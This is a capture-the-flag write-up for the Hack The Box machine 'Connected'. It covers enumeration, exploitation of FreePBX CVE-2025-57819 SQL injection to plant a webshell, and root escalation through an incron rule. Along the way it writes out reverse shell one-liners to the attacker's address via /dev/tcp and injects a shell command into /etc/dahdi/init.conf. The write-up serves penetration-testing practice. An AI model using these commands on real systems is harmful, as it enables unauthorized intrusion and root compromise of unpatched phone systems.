September 23, 2026
HTB: Connected
Exploiting CVE-2025โ57819 in FreePBX, and abusing incron.d + DAHDI config for privilege escalation
By 0xamaan
1 min read
Difficulty: Medium Tags: Web Exploitation, FreePBX, Asterisk, incron.d, SQL Injection, RCE
Lets go!
Enumeration
bash
nmap -sC -sT 10.129.140.171
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http โ redirects to http://connected.htb/
443/tcp open httpsnmap -sC -sT 10.129.140.171
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http โ redirects to http://connected.htb/
443/tcp open httpsTLS cert shows commonName=pbxconnect. Add the host to /etc/hosts:
10.129.140.171 connected.htb10.129.140.171 connected.htbVisiting the site shows a FreePBX login page, the footer confirms FreePBX 16.0.40.7, a version affected by CVE-2025โ57819 (patched in 16.0.89+).
Foothold: CVE-2025โ57819
FreePBX is an open-source web GUI for managing the Asterisk PBX/VoIP platform. CVE-2025โ57819 is a critical (CVSS 9.8โ10.0), unauthenticated SQL injection in the endpoint module's AJAX handler (brand parameter), reachable at /admin/ajax.php. It's on CISA's KEV list and was actively exploited in the wild. The PoC chains this into a stacked query that inserts a cron job writing a PHP webshell to disk.
PoC used: watchTowr-vs-FreePBX-CVE-2025-57819
bash
python3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://connected.htbpython3 watchTowr-vs-FreePBX-CVE-2025-57819.py -H http://connected.htbThe script's injected cron job drops a webshell at a randomized filename:
http://connected.htb/this-is-an-ioc-not-actually-watchTowr-<random-id>.php?cmd=<command>http://connected.htb/this-is-an-ioc-not-actually-watchTowr-<random-id>.php?cmd=<command>Confirm RCE with a harmless command first:
bash
curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-<id>.php?cmd=hostname"curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-<id>.php?cmd=hostname"User Access
Start a listener:
bash
nc -lvnp 1234nc -lvnp 1234Trigger the reverse shell through the webshell, URL-encoded (note: & must be %26, not left raw, or the query string truncates):
bash
curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-<id>.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/<YOUR_TUN0_IP>/1234%200%3E%261%27"
$ id
uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)curl "http://connected.htb/this-is-an-ioc-not-actually-watchTowr-<id>.php?cmd=bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/<YOUR_TUN0_IP>/1234%200%3E%261%27"
$ id
uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)Privilege Escalation
incron.d watches several files for changes and runs privileged scripts as root when they're modified. Check what's monitored:
bash
cat /etc/incron.d/*cat /etc/incron.d/*Relevant rule:
/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restart/var/spool/asterisk/sysadmin/dahdi_restart IN_CLOSE_WRITE /usr/sbin/sysadmin_dahdi_restartasterisk can write to the watched trigger file. The restart script sources DAHDI config, so check what config files asterisk can also write:
bash
find / -type f -name "*.conf" -writable 2>/dev/nullfind / -type f -name "*.conf" -writable 2>/dev/nullConfirms /etc/dahdi/init.conf is writable.
Inject a reverse shell one-liner:
bash
echo "bash -c 'bash -i >& /dev/tcp/<YOUR_TUN0_IP>/4545 0>&1'" >> /etc/dahdi/init.confecho "bash -c 'bash -i >& /dev/tcp/<YOUR_TUN0_IP>/4545 0>&1'" >> /etc/dahdi/init.confListener (second terminal):
bash
nc -lvnp 4545nc -lvnp 4545Trigger the incron watch, which runs sysadmin_dahdi_restart as root:
bash
echo "Restart" >> /var/spool/asterisk/sysadmin/dahdi_restartecho "Restart" >> /var/spool/asterisk/sysadmin/dahdi_restartThe restart script sources init.conf as root, executing the injected payload โ root shell lands on the second listener within a few seconds.
Root Access
$ id
uid=0(root) gid=0(root) groups=0(root)$ id
uid=0(root) gid=0(root) groups=0(root)You will find the root flag in the root directory. Voila!
Summary
StageTechniqueReconNmap โ FreePBX 16.0.40.7 fingerprinted via footerFootholdCVE-2025โ57819 unauth SQLi โ cron-dropped webshell โ RCE as asteriskPrivescasterisk-writable /etc/dahdi/init.conf + incron.d watch on dahdi_restart โ root